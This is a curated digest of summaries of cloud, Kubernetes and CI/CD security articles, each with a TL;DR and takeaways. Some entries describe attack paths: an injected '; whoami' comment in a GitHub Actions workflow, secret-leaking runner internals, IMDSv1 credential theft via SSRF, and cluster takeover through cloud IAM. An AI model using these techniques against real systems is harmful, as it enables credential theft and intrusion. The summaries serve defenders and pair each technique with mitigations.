    TL;DR: A September 2022 post on Mac Chaffee’s blog arguing that standard Kubernetes hardening guides miss organizational and API-level risks.

    • Organization first: Policies (e.g. security review for public Ingresses), segregation of duties, no unaudited shared cluster-admin token, training, periodic access reviews and an incident plan.
    • Undocumented verbs: There is no complete list of verbs and subresources, so * in Roles has undefined effects; avoid wildcards.
    • escalate verb: Lets a user create Roles beyond their own rights, which effectively grants admin.
    • pods/ephemeralcontainers: Could bypass validating webhooks that block privileged pods; the post says Gatekeeper, Kyverno and OpenShift SCCs were once affected.
    • API as RCE: Use a real identity provider via OIDC (ServiceAccount tokens are not enough), consider 2FA, and run intrusion detection such as Falco.
    • Blast radius: Multiple clusters limit impact, if the extra tooling does not add attack surface.

    Takeaway: Audit for escalate, wildcard rules and ephemeral container access. Read new Kubernetes release notes for new verbs and subresources.

  • My CI/CD Pipeline Is My Release Captain
    summary

    TL;DR: An Amazon Builders’ Library article by Clare Liguori (December 2022) on how Amazon’s CI/CD pipelines took over the release captain role, automating release coordination and rollback.

    • Moved: The URL now redirects to the AWS Builder Center.
    • Trunk-based: Merged, reviewed changes on main go to production; release branches are kept for rare urgent fixes.
    • Stages: Each stage deploys in parallel then runs approvals (integration tests, alarm monitoring); failed stages do not promote.
    • Small blast radius: Production split by region, then AZ, with one-box environments as small as one VM or container.
    • Waves: A sample pipeline deploys to 26 regions in five waves of increasing size.
    • Inflight releases: Several releases move through at once; a newer approved release supersedes older waiting ones.
    • Rollback: Immutable artifacts per push; alarms trigger automatic rollback, and manual rollback picks the last approved release while freezing promotions.

    Takeaway: The one-box and wave model is the main idea to copy. Wire alarms to automatic rollback before adding more stages.

  • Down the Cloudflare / Stripe / OWASP Rabbit Hole: A Tale of 6 Rabbits Deep
    summary

    TL;DR: Troy Hunt’s February 2023 account of Stripe webhooks to Have I Been Pwned being intermittently blocked by Cloudflare’s WAF, and the six-step investigation.

    • Symptom: A paid upgrade failed because the invoice.paid webhook got HTTP 403; a single-digit percentage of callbacks failed.
    • Logs: Cloudflare Enterprise logs showed a managed challenge from the Inbound Anomaly Score Exceeded rule.
    • OWASP scoring: A score of 26 from six rules exceeded the threshold of 25; Cloudflare had upgraded the OWASP ruleset to 3.3.4 shortly before.
    • Payload logging: Encrypted payload logs showed no malicious patterns; blocked and passing payloads differed only in dates and IDs.
    • Rollback attempt: Cloudflare rolled back a suspected ruleset change, but blocks continued; Stripe reported no relevant change.
    • Fix: A custom WAF exception scoped to the webhook path, placed first in rule order, plus exceptions for specific OWASP rules.
    • Open question: The root cause was never confirmed.

    Takeaway: Exempt trusted webhook paths from anomaly-scoring WAF rules and alert on webhook failures. Managed WAF rule updates can break integrations silently.

  • Lateral Movement Risks in the Cloud, Part 3: From Compromised Cloud Resource to Kubernetes Cluster Takeover
    summary

    TL;DR: Part 3 of Wiz Research’s lateral movement series by Lior Sonntag (February 2023), on moving from a compromised cloud resource into managed Kubernetes clusters on EKS, GKE and AKS.

    • EKS: The IAM identity that created a cluster gets system:masters automatically; other identities need entries in the aws-auth ConfigMap.
    • Exposed keys: About 15% of environments with managed Kubernetes had a workload storing a cleartext long-term cloud key tied to a highly privileged K8s identity.
    • AKS: About 87% use local accounts; the client certificate with CN masterclient maps to cluster-admin; AAD kubeconfig refresh tokens last 90 days by default.
    • GKE: Project-level IAM admin rights can grant full cluster admin unless RBAC restricts them.
    • Registries: Push access to a compromised registry lets attackers overwrite images that new pods will pull.
    • Mitigations: Workload identities and IMDS temporary credentials instead of static keys, private API endpoints, registry controls (ECR tag immutability, ACR private endpoints, GAR per-repo IAM), and no kubeconfigs on exposed hosts.

    Takeaway: Cloud IAM and cluster RBAC are one attack surface. Audit who can reach cluster admin through cloud permissions.

  • Understanding and Cost Optimizing Amazon EKS Control Plane Logs
    summary

    TL;DR: An AWS Containers Blog post (September 2022) explaining EKS control plane log types and how to control their CloudWatch cost.

    • Log types: API server, audit, authenticator, controller manager and scheduler, enabled per cluster.
    • Volume: Audit logs usually have the highest volume.
    • Location: CloudWatch log groups under the /aws/eks prefix, one stream set per component.
    • Retention: Default CloudWatch retention is never expire, so set retention per log group.
    • Archival: Export to S3 (one-time or scheduled with Lambda and EventBridge), apply lifecycle rules or Intelligent-Tiering, and query with Athena since Logs Insights no longer applies.
    • Recommendations: Enable log types selectively outside production; in production enable all and manage retention.
    • GuardDuty: Reads EKS audit logs directly and does not need control plane logging enabled.

    Takeaway: Set retention on /aws/eks log groups today. Consider GuardDuty for audit-based threat detection.

  • Cloud IAM: Google Cloud
    summary

    TL;DR: A July 2022 Google Cloud blog post by Priyanka Vergadia explaining Cloud IAM fundamentals.

    • Model: An IAM policy is a set of bindings tying a principal, a role and a resource or hierarchy node.
    • Principals: Domains, Workspace or Cloud Identity users and groups, and service accounts.
    • Roles: Basic (broad, e.g. owner), predefined (per service, safer) and custom (most precise but costly to maintain).
    • Conditions: Limit bindings by time, resource name prefix (e.g. webapp-frontend-), network or secure tags.
    • Service accounts: User-managed (no roles by default), service default (editor at creation) and Google-managed service agents.
    • Keys: Google-managed keys auto-rotate; user-managed keys must be rotated by you; prefer short-lived credentials.
    • Practices: Grant to groups, use app-specific service accounts instead of defaults, and use VPC Service Controls.

    Takeaway: A clear primer for GCP newcomers. Replace default service accounts’ editor role early.

  • How Attackers Can Exploit GCP’s Multicloud Workload Solution
    summary

    TL;DR: A research post by Liv Matan and Noam Dahan (February 2023) showing how misconfigured Google Cloud Workload Identity Federation lets attackers reach GCP service accounts from AWS, Azure or OIDC identities.

    • Moved: The Ermetic URL now redirects to the Tenable blog.
    • Flows: Azure uses an IMDS-issued token exchanged at GCP STS; AWS sends a presigned sts:GetCallerIdentity, visible in CloudTrail with user agent Google-Identity-Federation.
    • Vector 1: Granting a service account to the whole pool lets any provider in the pool (AWS, Azure, GitHub Actions) impersonate it.
    • Vector 2: Attribute conditions are empty by default, so any role in the attached AWS account, or any identity from the OIDC issuer, can federate.
    • Vector 3: iam.workloadIdentityPoolProviders.update (and .create) can let an attacker attach their own AWS account to a victim pool.
    • Mitigations: Least privilege on attached service accounts, custom attribute mappings and conditions (e.g. on sub), Azure app role assignments, and tight control of provider permissions.

    Takeaway: WIF removes static keys but moves the risk into pool configuration. Always set attribute conditions and bind service accounts to specific principals.

  • AWS EC2 IMDS: What You Need to Know
    summary

    TL;DR: A technical review of the AWS EC2 Instance Metadata Service (IMDS) by Liv Matan and Lior Zatlavi, comparing IMDSv1 and IMDSv2 and explaining how attackers abuse IMDS to steal instance-role credentials.

    • Source move: The Ermetic URL now redirects to the Tenable blog (Tenable acquired Ermetic); the republished post is dated August 8, 2023.
    • How IMDS works: EC2 assumes the instance-profile role via sts:AssumeRole and exposes temporary credentials on the link-local address 169.254.169.254.
    • IMDSv1 weakness: A plain HTTP GET with no headers to /latest/meta-data/iam/security-credentials/<ROLE_NAME> returns credentials, so any SSRF that can issue a simple GET can steal them.
    • IMDSv2: Adds session-token based, layered (“belt and suspenders”) protections; the post explains why to prefer it and how to migrate machines off IMDSv1 responsibly.
    • Residual risk: It walks through a scenario where an instance with IMDSv2 can still be attacked through a vulnerability, so other controls are still needed.

    Takeaway: Enforce IMDSv2 on EC2 and treat SSRF in instance-hosted software as a credential-theft path. Scope instance-role permissions tightly regardless.

  • Introducing KWOK: Kubernetes WithOut Kubelet
    summary

    TL;DR: Kubernetes blog post (March 1, 2023, by Shiming Zhang, Wei Huang and Yibo Zhuang) introducing KWOK, a toolkit that simulates thousands of fake nodes and pods without running kubelets.

    • Components: kwok simulates the lifecycle of fake nodes, pods and other API resources; kwokctl is a CLI to create and manage simulated clusters.
    • Benefits claimed: Near-instant cluster and node creation, works with any Kubernetes API client (kubectl, helm), runs from pre-built images with Docker or Nerdctl, low CPU and memory use.
    • Configurable: Node types, labels, taints, capacities and conditions, plus pod behaviour and status, to test edge cases.
    • Use cases: Learning, developing controllers without a real cluster, scale testing, simulating node failures or network partitions by changing node conditions.
    • Limits: It is not a kubelet; pod lifecycle, volume mounting and device plugins differ, performance is only approximated, and it enforces no security on simulated nodes.

    Takeaway: Use KWOK to scale-test controllers, schedulers and tooling against large fake clusters cheaply. Do not use it to measure real workload performance.

  • Temporary Policy Exceptions in Kubernetes with Kyverno
    summary

    TL;DR: A CNCF guest post by Chip Zoller (Nirmata) showing how to make Kyverno 1.9 Policy Exceptions expire automatically by combining them with cleanup policies.

    • Policy Exceptions: New alpha feature in Kyverno 1.9 that decouples exclusions from the policy itself, so a separate team can request an exception without editing the policy.
    • Enabling: Must be turned on with a flag; --exceptionNamespace restricts where exceptions can be created, otherwise they are cluster-wide. Gate creation with RBAC at minimum.
    • Validate the exceptions: Since a PolicyException is a custom resource, Kyverno validate rules can stop overly broad exceptions (e.g. exempting all Pods).
    • Expiry mechanism: A generate rule creates a ClusterCleanupPolicy when an exception appears, scheduled with cron, which deletes the exception after four hours in the example.
    • RBAC: Extra ClusterRoles (via aggregation) let Kyverno create clustercleanuppolicies and let the cleanup controller list and delete policyexceptions.

    Takeaway: Useful pattern for break-glass exceptions, such as a troubleshooting Pod needing host namespaces. Check current Kyverno docs, as these features were alpha in 1.9.

  • staticwebsite-cli: Static Website CLI for AWS
    summary

    TL;DR: An AWS Labs CLI, written in Rust, that deploys a static website to AWS in one command: it hosts the files, sets up CloudFront, DNS and an SSL certificate.

    • Prerequisite: An existing Route 53 hosted zone matching --domain-zone; the repo notes this has cost implications.
    • Usage: staticwebsite_cli --domain-zone demo.com --domain-name rustacean --deploy sample; omitting --domain-name deploys at the zone apex.
    • Under the hood: Creates a CloudFormation stack, uploads to an S3 bucket and invalidates the CloudFront distribution.
    • Credentials: Uses standard AWS CLI profiles or AWS_ACCESS_KEY/AWS_SECRET_ACCESS_KEY; a minimum policy.json is provided.
    • Distribution: Release builds for Windows, Mac and Linux, or cargo build from source. Updates are done by re-running the command.

    Takeaway: Quick way to put a static site on S3 plus CloudFront with TLS when you already use Route 53. Review the provided IAM policy before use.

  • Considerations for the Security Operations Center in the Cloud: Deployment Using AWS Security Services
    summary

    TL;DR: Second part of an AWS Security Blog series showing how to deploy AWS Security Hub for centralized, decentralized and hybrid Security Operations Center (SOC) operating models.

    • Security Hub role: Cloud security posture management that aggregates findings from AWS services, partner integrations or custom sources in AWS Security Finding Format (ASFF).
    • Centralized model: A dedicated security tooling account acts as delegated administrator via AWS Organizations, with cross-Region aggregation into one Region.
    • AWS SRA: The AWS Security Reference Architecture provides deployable templates for the Security Hub organization setup.
    • Decentralized and hybrid: A separate org root account governs with service control policies, and each OU gets its own Security Hub administration account using the invite model.
    • Example flow: Amazon GuardDuty findings flow into Security Hub so each OU manages its own findings while the organization keeps overall visibility.

    Takeaway: Pick the SOC model to fit your org (skills, compliance, budget) and map Security Hub administration accounts to it. Start from AWS SRA templates.

  • Three Ways to Boost Your Email Security and Brand Reputation with AWS
    summary

    TL;DR: AWS Security Blog post showing how to deploy BIMI, MTA-STS and SMTP TLS reporting for a domain using Route 53, S3, CloudFront and ACM, on top of SPF, DKIM and DMARC.

    • BIMI: Associates a logo with your mail domain; needs a Verified Mark Certificate from a BIMI-qualified CA, stored in S3.
    • MTA-STS: Makes sending servers use TLS with certificate validation when delivering to your domain.
    • TLS reporting: Receives reports on your domain’s TLS posture; SES or WorkMail is suggested only for receiving these reports (April 2023 clarification).
    • Architecture: DNS records in Route 53 point to policy files and logos served from S3 through CloudFront with an ACM certificate; deployed with AWS CDK, whose custom-resource Lambda runtimes will need updating over time.
    • Warnings: Email is brittle; a typo in DNS can silently stop delivery, and DNS caching can delay effects by hours or more than a day.

    Takeaway: Once SPF, DKIM and DMARC are in place, MTA-STS and TLS-RPT are low-cost hardening steps. Roll out carefully and watch for missing mail.

  • Why You Should Migrate to Network Firewall Policies from VPC Firewall Rules
    summary

    TL;DR: Google Cloud blog post (March 1, 2023) recommending migration from legacy VPC firewall rules to network firewall policies, and introducing a migration tool.

    • Why: Network firewall policies use IAM-governed Tags instead of ungoverned network tags, fit the hierarchical control model, and all new Cloud Firewall features will only ship for policies.
    • Capabilities: Batch editing of rules in one policy, a single resource per VPC, separate IAM permissions for create, update and associate, and sharing across VPCs in a project.
    • Scope: Global or regional network firewall policies; part of the Cloud Firewall Essentials tier at no extra charge.
    • Migration tool: gcloud beta compute firewall-rules migrate --source-network=SOURCE_VPC_NETWORK --target-firewall-policy=TARGET_NETWORK_FIREWALL_POLICY; the target policy must not already exist and logging settings are preserved.
    • Cutover: Swap evaluation order so the new policy is evaluated first, then use firewall logs and hit counts to confirm old rules are shadowed before deleting them.

    Takeaway: Plan the move to network firewall policies, since legacy rules will not get new features. Verify with logging before removing old rules.

  • Submarine Cable Map 2023: View Internet Cables Around Earth
    summary

    (Could not fetch full text.)

    TL;DR: TeleGeography’s interactive 2023 edition of its Submarine Cable Map, showing the undersea fibre cables that carry most international internet traffic.

    • Publisher: TeleGeography, a telecom research firm that also maintains the ongoing map at submarinecablemap.com.
    • Format: A JavaScript-rendered interactive map; the fetched page returned only the title “Submarine Cable Map 2023”.
    • Content: The title indicates a world map of submarine internet cables for 2023.
    • Source caveat: Summary based on the page title and URL only; the map content itself could not be extracted.

    Takeaway: Handy visual reference for how internet connectivity between continents depends on a limited set of physical cables.

  • Best Practices for Securing Your Home Network
    summary

    (Could not fetch full text.)

    TL;DR: NSA Cybersecurity Information Sheet “Best Practices for Securing Your Home Network”, published February 22, 2023 and aimed at teleworkers.

    • Devices: Upgrade and update all equipment and software regularly, including routers; use a modern, up-to-date operating system.
    • Wireless: Use WPA3 or WPA2 and segment the wireless network.
    • Accounts: Protect passwords and limit use of the administrator account.
    • Behaviour: Follow email best practices, such as not opening attachments or links in unsolicited email, and use strong authentication.
    • Telework: Covers confidentiality during telework and securing routing devices.
    • Source caveat: The PDF returned HTTP 403; summary is based on the NSA press release and third-party summaries found by web search.

    Takeaway: A short, shareable checklist for staff working from home. Read the full PDF for exact wording.

  • Migrate from PodSecurityPolicy to the Built-In PodSecurity Admission Controller
    summary

    TL;DR: Official Kubernetes task guide for migrating from PodSecurityPolicy (PSP) to the built-in Pod Security Admission controller, using dry-run, audit and warn modes to avoid outages and security gaps.

    • Requirement: Kubernetes v1.22 or later.
    • What PSA lacks vs PSP: It is non-mutating (no default security settings), offers only 3 standard levels, and cannot bind policies per service account or user within a namespace; use mutating or validating webhooks or a third-party tool for those.
    • Namespace labels are the control: Anyone who can create, update or patch a namespace can change its Pod Security level, so restrict those permissions first.
    • Migration steps: Decide fit, review namespace permissions, simplify and standardize PSPs, pick a Pod Security level per namespace, verify it, enforce it, bypass PSP, review namespace creation, then disable PSP.
    • Exemptions: PSA supports static exemptions for specific users or RuntimeClasses only.

    Takeaway: Follow this sequence, especially the dry-run and audit stages, before PSP removal in 1.25. Plan a webhook policy engine if you relied on mutating PSPs.

  • Pod Security Policy (PSP) Removal FAQ
    summary

    (Could not fetch full text.)

    TL;DR: AWS EKS user guide FAQ on the removal of PodSecurityPolicy (PSP) in Kubernetes 1.25 and what EKS users need to do before upgrading.

    • Page status: The URL now redirects to the EKS user guide home page; the FAQ appears to have been removed.
    • Default policy: EKS clusters on Kubernetes 1.13 to 1.24 ship a default PSP named eks.privileged, which is no longer relevant from 1.25.
    • Do not delete early: Removing eks.privileged or its ClusterRole and ClusterRoleBinding before 1.25 stops Pods from starting.
    • Custom PSPs: Any PSPs you created beyond the default must be migrated before upgrading to 1.25.
    • Replacement: Pod Security Admission is stable and enabled by default in EKS 1.25; policy-as-code tools are the alternative.
    • Source caveat: Based on an AWS re:Post answer, AWS EKS best-practices docs and the AWS EKS 1.25 announcement found by web search, not the original FAQ.

    Takeaway: Inventory custom PSPs and move them to Pod Security Admission or a policy engine before upgrading EKS to 1.25.

  • Using Azure Active Directory to Authenticate to Amazon EKS
    summary

    TL;DR: AWS Containers Blog walkthrough for letting users log in to Amazon EKS clusters with Azure Active Directory credentials using EKS OIDC identity provider authentication.

    • Two options: AWS IAM Identity Center (if Azure AD already syncs users to it) or direct EKS OIDC authentication; the post covers OIDC.
    • No IAM users: Azure AD authenticates; authorization is native Kubernetes RBAC, so no IAM users or roles are needed.
    • Azure side: Register an app (e.g. eks-auth), record the Application (client) id and Directory (tenant) id, and create users and groups for it.
    • EKS side: Associate Azure AD as the OIDC provider on the cluster, then bind Azure AD groups to Kubernetes Roles and RoleBindings.
    • Client: Users authenticate with kubelogin, a kubectl plugin maintained by Microsoft.

    Takeaway: If your workforce identity lives in Azure AD, this gives corporate SSO to EKS with RBAC tied to AD groups, without managing IAM principals.

  • Lessons Learned While Scaling a Kubernetes Cluster to 1000 Pods in AWS EKS
    summary

    (Could not fetch full text.)

    TL;DR: A Medium post (devopslearning, November 2022) on problems encountered when scaling an Amazon EKS cluster to 1000 pods.

    • Topics: AWS resource limits, IP address exhaustion, packet drops and control plane performance.
    • Sizing: Works through a workload estimate for 1000 pods and recommends a /21 subnet for IP capacity.
    • Format: About a 10-minute read.
    • Source caveat: Medium returned HTTP 403 and the archive copy could not be read; summary is based on the search-result snippet only, so details are limited.

    Takeaway: Before scaling EKS, plan subnet size for VPC CNI pod IPs and check AWS service quotas early.

  • Kubernetes Infrastructure at Medium
    summary

    TL;DR: Medium Engineering post by Eduardo (February 2023) giving a high-level view of how Medium runs its micro-services on Kubernetes.

    • Topology: Production runs in four separate Kubernetes clusters, one per availability zone, so traffic can be shifted between AZs with in-house tooling.
    • Safe rollouts: Infrastructure changes are tested by shifting most traffic to the other three clusters while one cluster is changed.
    • Stack: Istio service mesh with in-house controllers for ingress and egress gateways; Terraform plus an in-house templating and apply tool for cluster configuration.
    • Over-provisioning: cluster-overprovisioner pods sized slightly above the burst service’s pods, 50 replicas per cluster (200 pods’ worth across four), are preempted by real pods and trigger cluster-autoscaler scale-up.
    • Results: Node count peaks fell from 800 to 900 nodes to around 400, rarely above 600, after over-provisioning and right-sizing requests.
    • Source caveat: Medium blocked direct fetch; read from an archive.org copy.

    Takeaway: Priority-based placeholder pods plus right-sized requests are a cheap way to absorb traffic bursts while node scale-up catches up.

  • Flux Subsystem for Argo
    summary

    TL;DR: Flamingo, the Flux Subsystem for Argo (FSA), is an Argo CD image that can also visualize and manage Flux workloads, combining Flux automation with the Argo CD UI.

    • Drop-in: The container image replaces the equivalent Argo CD version; upstream Argo CD CVEs are backported.
    • Extra features: Flux Helm support, Flux OCIRepository, Weave GitOps Terraform Controller, Weave Policy Engine, and Argo CD ApplicationSet for Flux-managed resources.
    • Install: brew install fluxcd/tap/flux and brew install flux-subsystem-argo/tap/flamingo, then flux install and flamingo install --version=v2.8.6.
    • Apps: flamingo generate-app --app-name=podinfo-ks -n podinfo-kustomize ks/podinfo creates an Argo CD app from a Flux Kustomization.
    • Login: flamingo show-init-password, user admin, then port-forward svc/argocd-server.

    Takeaway: Worth a look if teams want the Argo CD UI but you reconcile with Flux. Check the project’s current status and version before adopting.

16.02.2023

  • Securing Lambda Function URLs Using Amazon Cognito, Amazon CloudFront and AWS WAF
    summary

    TL;DR: AWS Compute Blog post by Madhu Singh and Krupanidhi Jay showing how to protect a Lambda function URL with auth type NONE using Cognito-based checks in code, plus CloudFront, AWS WAF and Shield.

    • Auth modes: Function URLs support IAM or NONE; this pattern uses NONE with custom authorization logic in the function.
    • Cognito: A user pool with the hosted UI handles sign-in; the returned authorization code is stored in a cookie named code and validated by the function.
    • Edge protection: CloudFront in front of the function URL caches content, and AWS WAF web ACLs plus AWS Shield help against application and network DDoS.
    • Demo app: A React site on AWS Amplify works in authenticated and guest modes.
    • Limit: Function URLs are not a replacement for API Gateway, which adds request validation and throttling.

    Takeaway: If you use function URLs publicly, front them with CloudFront and WAF and enforce auth in code. Choose API Gateway when you need throttling or validation.

  • Haekka: Cybersecurity Awareness Training on Slack!
    summary

    TL;DR: Haekka is a commercial microlearning platform that delivers employee training, including security awareness, directly inside Slack.

    • Delivery: Assignments, reminders and full courses (including video) are taken inside Slack without leaving it.
    • Content: Customizable courses for security awareness, HIPAA, privacy, GDPR, PCI, SOC 2, harassment and more; content import from other platforms.
    • Assignment: To individuals, groups, workspaces or channels, plus HRIS, LMS and IAM provisioning options.
    • Reporting: Dashboards and an API for completion and compliance evidence.
    • Current site: Now marketed more broadly (sales enablement, onboarding, “Haekka One”, “Streams”), not only security training.

    Takeaway: An option for teams that live in Slack and need trackable compliance training. Evaluate pricing and content quality with a demo.

  • Improve GitHub Actions OIDC Security Posture with Custom Issuer
    summary

    TL;DR: Aidan Steele explains how GitHub Enterprise Cloud’s unique OIDC token URL puts the enterprise slug in the issuer. An AWS IAM OIDC provider can then trust only your enterprise, not all of GitHub.com.

    • Feature: Tokens carry iss: https://token.actions.githubusercontent.com/<enterprise-slug>. GitHub announced this in August 2022.
    • AWS setup: Create AWS::IAM::OIDCProvider with that URL and ClientIdList: [sts.amazonaws.com]. Roles then trust oidc-provider/token.actions.githubusercontent.com/<slug>.
    • Blast radius: A role trust policy missing its sub condition now exposes only repositories in your enterprise, not every GitHub repository.
    • Delegation: This makes it safer to let developers call iam:CreateRole.
    • Still missing: The author still wants more IAM OIDC controls, and full JWT claims in CloudTrail.

    Takeaway: GitHub Enterprise Cloud users should switch to the enterprise-specific issuer. Keep the sub conditions on role trust policies.

  • Hunting for Amazon Cognito Security Misconfigurations
    summary

    TL;DR: Yassine Aboukir’s NahamCon EU 2022 talk, posted December 27, 2022, on common Amazon Cognito security misconfigurations and how to test for them.

    • Format: The blog post embeds the conference video (YouTube) rather than a written article.
    • Scope: Outlines several common misconfigurations in Cognito implementations and techniques to test against them.
    • Speaker: Bug bounty hunter and application security consultant.
    • Audience: Bug bounty hunters and appsec testers assessing apps that use Cognito.
    • Source caveat: The page text is only a short abstract; the specific misconfigurations are in the video, which was not transcribed here.

    Takeaway: Watch the talk before testing or deploying Cognito user pools and identity pools, and check your own configuration against it.

  • Palantir Passwordless Authentication Series
    summary

    TL;DR: A three-part Palantir Blog series (November 2022 to January 2023) on how Palantir rolled out passwordless authentication across the company.

    • Part 1, Hardware Selection and Logistics (Nov 18, 2022): Choosing and distributing authenticator hardware.
    • Part 2, Technical Controls, Rollout & Edge Cases (Dec 1, 2022): The controls used and how the rollout handled exceptions.
    • Part 3, New Hires, Lost Keys & Lessons Learned (Jan 17, 2023): Onboarding, lost-key recovery and lessons from the programme.
    • Format: A Medium tag page listing the three posts.
    • Source caveat: Medium returned HTTP 403; only the tag listing (titles and dates) was read from an archive.org copy, not the article bodies.

    Takeaway: A practical case study to read before planning a hardware-key or passwordless rollout, especially the lost-key and onboarding parts.

  • Leaking Secrets from GitHub Actions: Reading Files and Environment Variables, Intercepting Network/Process Communication, Dumping Memory
    summary

    TL;DR: Karim Rahal (January 5, 2023) shows how a command injection in a GitHub Actions workflow can leak secrets even when they are not exposed in environment variables, by examining the Actions runner internals.

    • Root bug: ${{ github.event.comment.body }} inside run: is not escaped, so a comment like ; whoami executes on the runner.
    • Runner internals: Runner.Listener receives encrypted job messages and launches Runner.Worker; self-hosted runners store an RSA private key in .credentials_rsaparams, which decrypts the AES key for jobs. Decrypted job messages contain all secrets and the job’s GitHub token in the variables field.
    • File reading: Shell steps are rendered with secrets expanded into .sh files under /home/runner/work/_temp, which can be read or continuously exfiltrated for later steps.
    • Other techniques: JavaScript actions receive inputs as environment variables of the Node.js process; the post also covers intercepting network and process communication and dumping memory.
    • Method: Analysis done by proxying a self-hosted runner through Burp Suite and writing a decryption script based on the runner source.

    Takeaway: Any injection in a job exposes every secret that job can reach, not just those in env. Pass untrusted input via environment variables, never ${{ }} in run:, and scope secrets per job.

  • terraform-google-modules: Terraform Modules for Google Cloud by Google
    summary

    TL;DR: The terraform-google-modules GitHub organization (“Google Cloud and HashiCorp”) hosts the Cloud Foundation Toolkit (CFT) Terraform modules for Google Cloud.

    • Size: 65 repositories at fetch time, mostly HCL, Apache-2.0 licensed, and still actively updated.
    • Popular modules: terraform-google-kubernetes-engine (opinionated GKE clusters), terraform-google-project-factory (projects with Shared VPC, IAM and APIs), terraform-google-network, terraform-google-sql-db, terraform-google-vm.
    • Reference foundation: terraform-example-foundation shows how to compose CFT modules into a secure cloud foundation.
    • Other modules: IAM, service accounts, HTTP load balancer, BigQuery, Cloud Logging and Monitoring, event and scheduled Cloud Functions.
    • Docs samples: terraform-docs-samples and docs-examples hold samples used on cloud.google.com and in Google provider docs.

    Takeaway: Start GCP Terraform work from these maintained modules, and use the example foundation as a reference landing zone design.

  • Setting Up a Secure CI/CD Pipeline in a Private Amazon VPC with No Public Internet Access
    summary

    TL;DR: AWS DevOps Blog walkthrough of a CI/CD pipeline that runs inside a private VPC with no internet access, using CodeCommit, CodePipeline, CodeBuild, CodeArtifact and S3.

    • Package source: AWS CodeArtifact serves dependencies for Maven, Gradle, npm, yarn, pip, twine and NuGet, so builds never reach public registries.
    • VPC endpoints: CloudWatch Logs (for CodeBuild logs), CodeArtifact, AWS STS and Amazon S3.
    • Flow: Push to CodeCommit triggers CodePipeline; CodeBuild in private subnets pulls packages through endpoints.
    • Buildspec: Sets AWS_STS_REGIONAL_ENDPOINTS=regional and runs aws codeartifact login --tool npm with Node.js 16.
    • Flexibility: CodePipeline is used, but Jenkins or other CI tools can integrate with CodeArtifact the same way.

    Takeaway: For isolated build environments, route all package and AWS API traffic through VPC endpoints and CodeArtifact. The pattern also works with other CI tools.

  • How to Revoke Federated Users’ Active AWS Sessions
    summary

    TL;DR: AWS Security Blog post on revoking a federated user’s already-issued AWS role sessions, which stay valid after the user is disabled in the identity provider.

    • Problem: Role sessions last 1 hour by default and up to 12 hours, so a user revoked in the IdP keeps access until the session expires.
    • Avoid: Denying all on the role or deleting it disrupts every user of that role.
    • Identifiers: Use principalId (e.g. AROA...:JohnDoe@example.com) or sourceIdentity, both visible in CloudTrail userIdentity records.
    • SCP approach: A deny-all SCP with conditions on aws:userid and aws:SourceIdentity blocks named users across member accounts regardless of session duration.
    • IAM approach: Similar deny statements in IAM policies, plus the option to revoke session tokens; a February 2023 update adds that trust policies can enforce required sourceIdentity values.

    Takeaway: Set sourceIdentity from your IdP and keep session durations short. Keep a ready-made SCP for emergency revocation of a specific user.

  • monokle: Unified Visual Tool for Authoring, Validating and Deploying Kubernetes Manifests
    summary

    TL;DR: Monokle, from Kubeshop, is a desktop tool for authoring, validating and deploying Kubernetes manifests, combining a YAML editor, policy validation and live cluster views.

    • Maintenance status: The README now says Kubeshop is not able to maintain or evolve Monokle, linking issue #4265.
    • Editing: Single IDE for manifests, form-based resource creation, templating system for multi-step forms, refactoring with name and reference integrity.
    • Validation: Real-time checks against YAML formatting and Kubernetes schemas (including installed CRDs), plus OPA policy rules.
    • Cluster: Connects to clusters for real-time state, compares resources with the cluster, and applies changes directly or through pull requests.
    • Templating tools: Previews and debugs Kustomize and Helm output; Git integration for configuration lifecycle.
    • Platforms: Windows, macOS and Linux builds.

    Takeaway: Interesting ideas for visual manifest management, but the project is unmaintained, so do not adopt it for new work.

  • Top 15 kubectl Plugins for Security Engineers
    summary

    TL;DR: A Sysdig list of kubectl plugins useful for Kubernetes security work. The URL now serves a 2025 edition (June 11, 2025) with maintenance status for each plugin.

    • RBAC: access-matrix (formerly rakkess) for a permissions matrix, rolesum for role summaries, rbac-tool for access analysis.
    • Tracing and capture: kubectl-trace (bpftrace), kubectl-capture (Sysdig syscall captures), ksniff (tcpdump and Wireshark), inspektor-gadget (eBPF).
    • Network: np-viewer for network policy visualization, kubectl-cilium.
    • Secrets and auth: kubectl-whisper-secret, kubectl-ssm-secret, kubelogin, cert-manager plugin.
    • Other: kube-policy-advisor for least-privilege policies, stern for multi-pod log tailing.
    • Staleness flagged: Several are marked partially maintained, e.g. kubectl-trace last released 2021, ksniff 2020, kubectl-ssm-secret 2019.
    • Content changed: The page now shows the 2025 edition, not the original 2023 article.

    Takeaway: access-matrix, rolesum and np-viewer are quick wins for audits. Check maintenance and the access you give any plugin before installing it.

  • Canarytokens: Breach Detection Honeypot Tokens, Including Credit Cards
    summary

    TL;DR: Canarytokens, a free service from Thinkst, generates tripwire tokens that alert you when an attacker opens or uses them.

    • Concept: “Motion sensors” for networks, computers and clouds, designed to look attractive to attackers so they get touched.
    • Token types: Includes AWS API keys, Azure login certificate, credit card, kubeconfig, MS Word and Excel, PDF, DNS, HTTP and web image, cloned website, SQL Server, MySQL dump, QR code, WireGuard, Windows directory, Log4Shell and MCP configuration tokens.
    • Footprint: No software to install and no background processes.
    • Relation: A distilled, free version of Thinkst’s commercial Canary product.
    • Source caveat: The /generate page is a JavaScript app; details come from the Canarytokens documentation site.

    Takeaway: Cheap, high-signal breach detection. Plant fake AWS keys or kubeconfigs where an intruder would look, such as CI variables, laptops and repos.

  • git-sim: Visually Simulate Git Operations in Your Own Repos with a Single Terminal Command
    summary

    TL;DR: git-sim, from Initial Commit, visually simulates Git commands on your own repo before you run them, by prefixing the command with git-sim instead of git.

    • Usage: pip install git-sim, then e.g. git-sim merge dev, git-sim reset --hard HEAD^, git-sim rebase main.
    • Output: Now a web-first, shareable interactive graph by default; animated video with --animate needs Manim.
    • Requirements: Python 3.10 to 3.14 and Git; minimal Linux needs libEGL, libGL and fontconfig.
    • Newer features: VS Code extension, Jupyter integration, a GitHub Action describing PR merges, live recording of repo operations, and a preflight check for risky Git commands from AI agents.
    • Content changed: The README has grown well beyond the 2023 Manim-based image and video simulator.

    Takeaway: Useful for teaching Git or checking what a rebase or reset will do before running it.

  • Caido: Lightweight Web Security Auditing Toolkit, Alternative to Burp/ZAP
    summary

    TL;DR: Caido is a web security auditing toolkit and intercepting proxy, positioned as an alternative to Burp Suite and ZAP, for bug bounty hunters, pentesters and security engineers.

    • Querying: HTTPQL syntax to search and filter requests and responses.
    • Automation: Node-based workflows built ad hoc; headless, API-first proxy for security engineers.
